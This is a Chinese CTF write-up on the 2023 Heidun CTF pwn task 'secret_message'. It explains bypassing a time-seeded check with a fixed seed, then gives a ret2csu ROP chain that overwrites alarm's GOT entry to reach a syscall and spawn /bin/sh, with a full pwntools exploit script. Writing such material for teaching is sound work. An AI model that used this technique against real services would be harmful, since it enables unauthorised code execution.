[黑盾CTF 2023] secret_message 复现

news2024/11/20 0:47:23

赛后拿到题目和pwn_ckyan的WP,复现一下,这个题坑还是不小的。120分钟的比赛,只作这一个题还差不多。

先看题。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  init_0();
  if ( check() )
    read(0, buf, 0x100uLL);
  return 0LL;
}

main很直白,先是个init这里有个alarm也算很常见的方法,然后是个检查,检查通过后就是个有溢出的写。

_BOOL8 check()
{
  __int64 s[4]; // [rsp+0h] [rbp-50h] BYREF
  char v2[32]; // [rsp+20h] [rbp-30h] BYREF
  unsigned int seed; // [rsp+40h] [rbp-10h]
  int v4; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

  seed = time(0LL);
  memset(v2, 0, sizeof(v2));
  memset(s, 0, sizeof(s));
  strcpy((char *)s, "s0d0ao2lnfic9alsl2lmxncbzyqi1j2");
  sub_4008D1(v2, 32);
  srand(seed);
  for ( i = 0; i <= 30; ++i )
  {
    v4 = rand() % 16;
    *((_BYTE *)s + i) ^= v4;
  }
  return strcmp(v2, (const char *)s) == 0;
}

check先取了个时间作为种子,然后把一个密文放到栈上,然后执行sub_4008D1,回来后置种子,再把密文与rand%16异或,然后比较。这里都比较容易,就是srand为什么放到离seed这么远。

char *__fastcall sub_4008D1(char *a1, int a2)
{
  int v2; // edx
  char *result; // rax
  int v5; // [rsp+14h] [rbp-Ch]
  char *buf; // [rsp+18h] [rbp-8h]

  buf = a1;
  while ( a2 )
  {
    v5 = read(0, buf, a2);
    if ( v5 < 0 )
      exit(1);
    a2 -= v5;
    buf += v5;                                  // 指针保持在数据尾部
  }
  v2 = strlen(a1);                              // 读入0x20
  result = buf;
  *(_DWORD *)buf = v2;                          // 用串长度0x1f覆盖seed
  return result;
}

这里边有些小细节,放入数据放到buf,buf是参数引入的,向check的buf写入,读不满不会退出。

这里有个buf+= v5; 每读一次就把指针后移保证下次从尾部接着读,结束读后次串长度存入buf。

  __int64 s[4]; // [rsp+0h] [rbp-50h] BYREF
  char v2[32]; // [rsp+20h] [rbp-30h] BYREF
  unsigned int seed; // [rsp+40h] [rbp-10h]
  int v4; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

再回来看check的栈,v2存读入的32个字节,后边是seed,从上个函数看,这里被存入的串长度覆盖。因为后边要进行strcmp所以输入应该是31个字符和一个\x00,这里字符串长度应该是31(0x1f),也就是说刚开始放的种time(0)被改为0x1f

对于有足够长溢出的情况下,一般是先puts(got[puts])+main先泄露libc,再system(/bin/sh),但是这个题目似乎一直就没有输入。看下got表

.got.plt:0000000000601018 B0 10 60 00 00 00 00 00       off_601018 dq offset strlen             ; DATA XREF: _strlen↑r
.got.plt:0000000000601020 B8 10 60 00 00 00 00 00       off_601020 dq offset memset             ; DATA XREF: _memset↑r
.got.plt:0000000000601028 C0 10 60 00 00 00 00 00       off_601028 dq offset alarm              ; DATA XREF: _alarm↑r
.got.plt:0000000000601030 C8 10 60 00 00 00 00 00       off_601030 dq offset read               ; DATA XREF: _read↑r
.got.plt:0000000000601038 D0 10 60 00 00 00 00 00       off_601038 dq offset __libc_start_main  ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000601040 D8 10 60 00 00 00 00 00       off_601040 dq offset srand              ; DATA XREF: _srand↑r
.got.plt:0000000000601048 E0 10 60 00 00 00 00 00       off_601048 dq offset strcmp             ; DATA XREF: _strcmp↑r
.got.plt:0000000000601050 E8 10 60 00 00 00 00 00       off_601050 dq offset time               ; DATA XREF: _time↑r
.got.plt:0000000000601058 F0 10 60 00 00 00 00 00       off_601058 dq offset setvbuf            ; DATA XREF: _setvbuf↑r
.got.plt:0000000000601060 F8 10 60 00 00 00 00 00       off_601060 dq offset exit               ; DATA XREF: _exit↑r
.got.plt:0000000000601068 00 11 60 00 00 00 00 00       off_601068 dq offset rand               ; DATA XREF: _rand↑r

确实没有puts类的输出函数。那么这个问题就来了,怎么弄。

前天写的单次调用写了3个存的模板,对于2.35以后的用一个add 的gadget对got表加偏移改为system。这里是2.27,所以这个方法不适用。这个是传统的ret2csu。

ret2csu使用两个gadget:ppp6和move_call这两个可利用的gadget在程序调入时使用的init函数里

.text:0000000000400A90                               ; void __fastcall init(unsigned int, __int64, __int64)
.text:0000000000400A90                               init proc near                          ; DATA XREF: start+16↑o
.text:0000000000400A90                               ; __unwind {
.text:0000000000400A90 41 57                         push    r15
.text:0000000000400A92 41 56                         push    r14
.text:0000000000400A94 41 89 FF                      mov     r15d, edi
.text:0000000000400A97 41 55                         push    r13
.text:0000000000400A99 41 54                         push    r12
.text:0000000000400A9B 4C 8D 25 6E 03 20 00          lea     r12, off_600E10
.text:0000000000400AA2 55                            push    rbp
.text:0000000000400AA3 48 8D 2D 6E 03 20 00          lea     rbp, off_600E18
.text:0000000000400AAA 53                            push    rbx
.text:0000000000400AAB 49 89 F6                      mov     r14, rsi
.text:0000000000400AAE 49 89 D5                      mov     r13, rdx
.text:0000000000400AB1 4C 29 E5                      sub     rbp, r12
.text:0000000000400AB4 48 83 EC 08                   sub     rsp, 8
.text:0000000000400AB8 48 C1 FD 03                   sar     rbp, 3
.text:0000000000400ABC E8 B7 FB FF FF                call    _init_proc
.text:0000000000400ABC
.text:0000000000400AC1 48 85 ED                      test    rbp, rbp
.text:0000000000400AC4 74 20                         jz      short loc_400AE6
.text:0000000000400AC4
.text:0000000000400AC6 31 DB                         xor     ebx, ebx
.text:0000000000400AC8 0F 1F 84 00 00 00 00 00       nop     dword ptr [rax+rax+00000000h]
.text:0000000000400AC8
.text:0000000000400AD0
.text:0000000000400AD0                               loc_400AD0:                             ; CODE XREF: init+54↓j
.text:0000000000400AD0 4C 89 EA                      mov     rdx, r13
.text:0000000000400AD3 4C 89 F6                      mov     rsi, r14
.text:0000000000400AD6 44 89 FF                      mov     edi, r15d
.text:0000000000400AD9 41 FF 14 DC                   call    qword ptr [r12+rbx*8]
.text:0000000000400AD9
.text:0000000000400ADD 48 83 C3 01                   add     rbx, 1
.text:0000000000400AE1 48 39 EB                      cmp     rbx, rbp
.text:0000000000400AE4 75 EA                         jnz     short loc_400AD0
.text:0000000000400AE4
.text:0000000000400AE6
.text:0000000000400AE6                               loc_400AE6:                             ; CODE XREF: init+34↑j
.text:0000000000400AE6 48 83 C4 08                   add     rsp, 8
.text:0000000000400AEA 5B                            pop     rbx
.text:0000000000400AEB 5D                            pop     rbp
.text:0000000000400AEC 41 5C                         pop     r12
.text:0000000000400AEE 41 5D                         pop     r13
.text:0000000000400AF0 41 5E                         pop     r14
.text:0000000000400AF2 41 5F                         pop     r15
.text:0000000000400AF4 C3                            retn
.text:0000000000400AF4                               ; } // starts at 400A90
.text:0000000000400AF4
.text:0000000000400AF4                               init endp

 ppp6就是从0x400AEA开始的从栈上弹出到6个寄存器。这6个寄存器基本上不怎么用。

mov_call是这段前边0x400AD0开始,将r13,r14,r15d存入rdx,rsi,edi然后调用[r12+rbx*8],这两个配合使用实现填充rsi,rdi并实现call,一般rbx置0,用r12作为调用指针,rdi,rsi为1参2参。

这时候就可以开干了,问题得干起来才能慢慢解决。

第1步要给程序打patch,虽然可以用环境变量调入,但有时候会有些问题,毕竟不可能虚机都跟比赛用的Docker差不多,patchelf还是比较好的办法。

先看下给的libc版本,虽然给的 2.27但2.27也有很多小版本,最好是一样的。

┌──(kali㉿kali)-[~/ctf/0520]
└─$ strings libc-2.27.so|grep ubuntu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

然后打上patch

patchelf --add-needed ~/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so pwn
patchelf --set-interpreter ~/glibc/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so pwn

这时候这个环境跟Docker就比较像了,但还是有差别,不过不影响运行

思路:

  1. 通过check,ctypes调用srand,rand得到预测的值生成密文
  2. 调用read修改alarm的got表,alarm向后偏移,去掉无用部分得到一个syscall
  3. 再次调用read向bss的可写区写/bin/sh 并利用返回值(长度)存入rax,给rax填入59(execv的中断调用号)
  4. 用gadget调用alarm(已改为syscall)获得shell

第1块是要过这个check(名字是后来在ida里为方便看自己改的,这也算是个习惯吧。虽然浪费点时间但是以后看起来方便)

置种和取rand这块前边写过用ctypes调用libc,由于不同版本的libc里 rand函数基本不变,所以并不一定要用完全相同的版本。

from pwn import *
from ctypes import *

binary = './pwn'

p = process(binary)
context(arch='amd64', log_level='debug')

elf = ELF(binary)
libc = ELF('./libc-2.27.so')
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

#clibc.srand(clibc.time(0))
# *(_DWORD *)buf = v2;      // 用串长度0x1f覆盖seed
clibc.srand(0x1f)  

sec = b"s0d0ao2lnfic9alsl2lmxncbzyqi1j2"
s = bytes([v^(clibc.rand()%16) for v in sec]) + b'\x00'
p.send(s)
print('send:',s)

这块过了以后,后边跟return时的现场有关,比如当时的寄存器和查看写入的payload,所以这里在return前下断点,观察。

 这里rdi=0这里已经有rdi,只需要pop rsi即可,如果rdi没有就弹一次rdi,在pop r15;ret,一般大多情况下pop rdi;pop rsi都是有的,可以用ROPgadget在程序里找。pop rdi就在ppp6的尾部pop r15; ret的错位。pop rsi;pop r15;ret是ppp6尾部pop r14;pop r15;ret的错位。经常是rdx比较难弄,不过read函数只要不是太小就能用。这里是0x100足够了。

┌──(kali㉿kali)-[~/ctf/0520/secret_message]
└─$ ROPgadget --binary pwn --only 'pop|ret'             
Gadgets information
============================================================
0x0000000000400aec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aee : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400af0 : pop r14 ; pop r15 ; ret
0x0000000000400af2 : pop r15 ; ret
0x0000000000400aeb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aef : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop rbp ; ret
0x0000000000400af3 : pop rdi ; ret
0x0000000000400af1 : pop rsi ; pop r15 ; ret
0x0000000000400aed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400691 : ret
0x00000000003fc0f9 : ret 0x3f

现在看alarm的情况

gef➤  x/5i &alarm
   0x7ffff78e44f0 <alarm>:      mov    eax,0x25
   0x7ffff78e44f5 <alarm+5>:    syscall

可以看到alarm的代码给eax填充后就直接调用syscall,由于程序加载里尾12位(1个半字节)不发生变化,所以只需要把got表里的尾字节f0改成f5就直接得到syscall

第2次read需要将rsi改为随便一个可写地址,一般在bss的后部。bss一般程序只用了前边一点儿,而一个段至少0x1000字节,所以后边写是比较安全的。rax里存read的反回值这里执行完read后,如果read的长度是59正好是exec的syscall调用号。

后一半代码

#gdb.attach(p, "b*0x400a8d\nc")

pop_rdi = 0x0000000000400af3 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400af1 # pop rsi ; pop r15 ; ret
ppp6 = 0x400AEA
mov_call = 0x400AD0
got_alarm = 0x601028
buf = 0x601800

pay = b'A'*0x38 + flat([
    pop_rsi_r15, elf.got['alarm'], 0, elf.sym['read'],  #sym['alarm']+5 = syscall 
    pop_rsi_r15, buf, 0, elf.sym['read'],   #read /bin/sh  len(payload)=0x3b rax=0x3b
    ppp6, 0,0, elf.got['alarm'], 0,0, buf,  # r12=got.alarm r15=buf
    mov_call                                #
 ])
p.send(pay.ljust(0x100, b'\x00'))

p.send(b'\xf5')   #0x7ffff78e44f0 <alarm>: 0xb8 0x25 0x0 0x0 0x0 0xf 0x5 0x48    +5=0f05 syscall 输入尾号f5修改alarm为syscall
p.send(b'/bin/sh'.ljust(0x3b, b'\x00'))

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/568909.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Fiddler抓包工具之fiddler界面工具栏介绍

fiddler界面工具栏介绍 ​ &#xff08;1&#xff09;WinConfig&#xff1a;windows 使用了一种叫做“AppContainer”的隔离技术&#xff0c;使得一些流量无法正常捕获&#xff0c;在 fiddler中点击 WinConfig 按钮可以解除这个诅咒&#xff0c;这个与菜单栏 Tools→Win8 Loopb…

Python 的 type() 和 isinstance() 函数

type()、isinstance()都是对象类型操作函数&#xff0c;用于判定对象类型&#xff0c;用哪个函数更好哩&#xff1f; 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.python.org/ Free&#xff1a;大咖免费“圣经”教程《 python 完全自学教程》&#xff0c;…

Git—常用指令

示意图 指令 描述 git -v 查看版本号 git init 创建仓库&#xff0c;初始化 git clone 仓库地址 下载远程仓库 git config user.name 名称 配置名称 git config user.email 邮箱 配置邮箱 git config --global user.name 名称 全局配置名称 git config --global …

水下图像1

d_r_26_.jpg 一个男子拿着一个标定板在站在水中 一个穿着黑色短裤的男子拿着标定板站在水中 一个戴着潜水镜的男子拿着标定板站在水中 一名男子正在水下潜水 有一个潜水员双手拿着一个标定板在站在水中 A man is standing in the water with a calibration board A man we…

信号在MATLAB中的运算——信号的积分和微分

信号在MATLAB中的运算——信号的积分和微分 对于连续时间信号&#xff0c;其微分运算是用 diff 函数来完成的&#xff0c; 其调用格式为&#xff1a;diff(function, variable, n)&#xff0c; 其中 function&#xff1a;为需要进行求导运算的信号&#xff08;或被赋值的符号…

关于esp8266模块与stm32f103模块的连接,问题分析

文章目录 模块和芯片实验目的连接方式main.hesp8266.cesp8266.htcp.ctcp.h实验中出现的问题源代码 模块和芯片 stm32f103c8t6 单片机 esp8266 wift 模块 实验目的 实现esp8266 模块的通讯&#xff08;客户端&#xff09; 连接方式 这个是我所使用的模块ESP-01S 类型的&…

C++中stack的用法(超详细,入门必看)

博主简介&#xff1a;Hello大家好呀&#xff0c;我是陈童学&#xff0c;一个与你一样正在慢慢前行的人。 博主主页&#xff1a;陈童学哦 所属专栏&#xff1a;CSTL 前言&#xff1a;Hello各位小伙伴们好&#xff01;欢迎来到本专栏CSTL的学习&#xff0c;本专栏旨在帮助大家了解…

s2020gc56收集数据

作答区域&#xff1a; #include<bits/stdc.h> using namespace std; int n,k,s1,s2,h1,h2,he,ans,r2,r1,l2,l11,f[1000009]; int main() {cin>>n>>k;for(int i1;i<n;i)cin>>f[i];for(int i1;;i){s1;if(s1>k)break;h1h1f[i];}for(int in;;i--){…

神经网络实验--卷积神经网络

本实验主要为了掌握深度学习的基本原理&#xff1b;能够使用TensorFlow实现卷积神经网络&#xff0c;完成图像识别任务。 文章目录 1. 实验目的 2. 实验内容 3. 实验过程 题目一&#xff1a; 题目二&#xff1a; 实验小结&讨论题 1. 实验目的 ①掌握深度学习的基本原…

spring练习1

1、练习网站案例 1、建好相应的java类 package spring;public class Player {public int getId() {return id;}public void setId(int id) {this.id id;}public String getName() {return name;}public void setName(String name) {this.name name;}public String getPosit…

自学软件测试怎么学?新增软件测试(全栈),笔试及面试全套方法

既然是自学&#xff0c;那就如下方面着手吧。 1、面试(此篇文章的重磅) 2、思路 3、心态 4、技能 真所谓&#xff0c;“面试造飞机&#xff0c;工作拧螺丝”。咱们先从第一个&#xff0c;面试着手&#xff0c;这就好比写文章先列好提纲一样&#xff0c;要知道你这个行业具体有那…

【大学物理实验】绪论

《大学物理实验》实验报告册的封面&#xff0c;以下说法不正确的是&#xff1a; A. 应正确填写完整的学号 B. 预习前应写好姓名等相关信息 C. 报告册左上角应填写本班级报告箱编号 D. 除了姓名&#xff0c;其他信息可写可不写 正确答案&#xff1a; D 某同学完成某个实验&…

javascript基础四:== 和 ===区别,分别在什么情况使用?

一、等于操作符 等于操作符用两个等于号&#xff08; &#xff09;表示&#xff0c;如果操作数相等&#xff0c;则会返回 true 前面文章&#xff0c;我们提到在JavaScript中存在隐式转换。等于操作符&#xff08;&#xff09;在比较中会先进行类型转换&#xff0c;再确定操作…

Redis集群安装之哨兵集群

1.哨兵集群介绍及原理 主从模式&#xff0c;当主节点宕机之后&#xff0c;从节点是可以作为主节点顶上来&#xff0c;继续提供服务的。但是有一个问题&#xff0c;主节点的IP已经变动了&#xff0c;此时应用服务还是拿着原主节点的地址去访问&#xff0c;此时就需要人工干预进行…

阿里巴巴 MySQL binlog 增量订阅消费组件canal实现mysql数据同步

canal实现mysql数据同步 简介&#xff1a;最近线上系统进行压测&#xff0c;评估线上系统容量&#xff0c;根据压测情况对代理层&#xff0c;代码&#xff0c;sql等都做了相应的优化&#xff0c;而系统最大的瓶颈在于数据库&#xff0c;根据实际业务情况&#xff0c;决定对数据…

迅镭激光董事长颜章健受邀参加江苏师范大学研究生毕业答辩活动

5月20日&#xff0c;迅镭激光董事长颜章健应邀赴江苏师范大学物电学院进行为期2天的考察交流&#xff0c;并作为特聘专家参加光电信息工程专业研究生毕业答辩活动。 校企携手 再谱新篇 考察期间&#xff0c;江苏师范大学物电学院举行欢迎座谈会&#xff0c;江苏师范大学学科办…

二叉搜索树(查找、插入、删除的讲解实现+图文并茂)

目录 1. 二叉搜索树&#xff08;BST&#xff09; 1.1 二叉搜索树概念 1.2 二叉搜索树操作 1.2.1 二叉搜索树的查找 1.2.2 二叉搜索树的插入 1.2.3 二叉搜索树的删除 2. 二叉搜索树的实现 2.1BST基本结构 2.2 BST操作成员函数(非递归&#xff09; 2.3 BST操作成员函数&#x…

开放式耳机是什么意思?2023年开放式耳机推荐指南

开放式耳机&#xff0c;就是开放耳朵不需要塞入耳道的一种耳机。 这种耳机包括气传导和骨传导两种类型。气传导耳机采用波束成形技术进行定向传音&#xff0c;将音频传送到耳朵&#xff0c;其所采用的空气传导原理在发声的时候不会引起振动。 而骨传导耳机则是通过震动颅骨来…

HttpRunnerManager接口自动化测试框架在win环境下搭建教程

近几日一直在研究如何把接口自动化做的顺畅&#xff0c;目前用的是轻量级jmeterantJenkins自动化测试框架&#xff0c;目前测试界的主流是python语言&#xff0c;所以一直想用搭建一个基于python的HttpRunnerManager。公司项目也比较多&#xff0c;在上班的过程中偶尔研究了一下…

【Linux高级 I/O(6)】初识文件锁—— flock()方法(附代码示例)

想象一下&#xff0c;当两个人同时编辑磁盘中同一份文件时&#xff0c;其后果将会如何呢&#xff1f;在 Linux 系统中&#xff0c;该文件的最后状态通常取决于写该文件的最后一个进程。多个进程同时操作同一文件&#xff0c;很容易导致文件中的数据发生混乱&#xff0c;因为多个…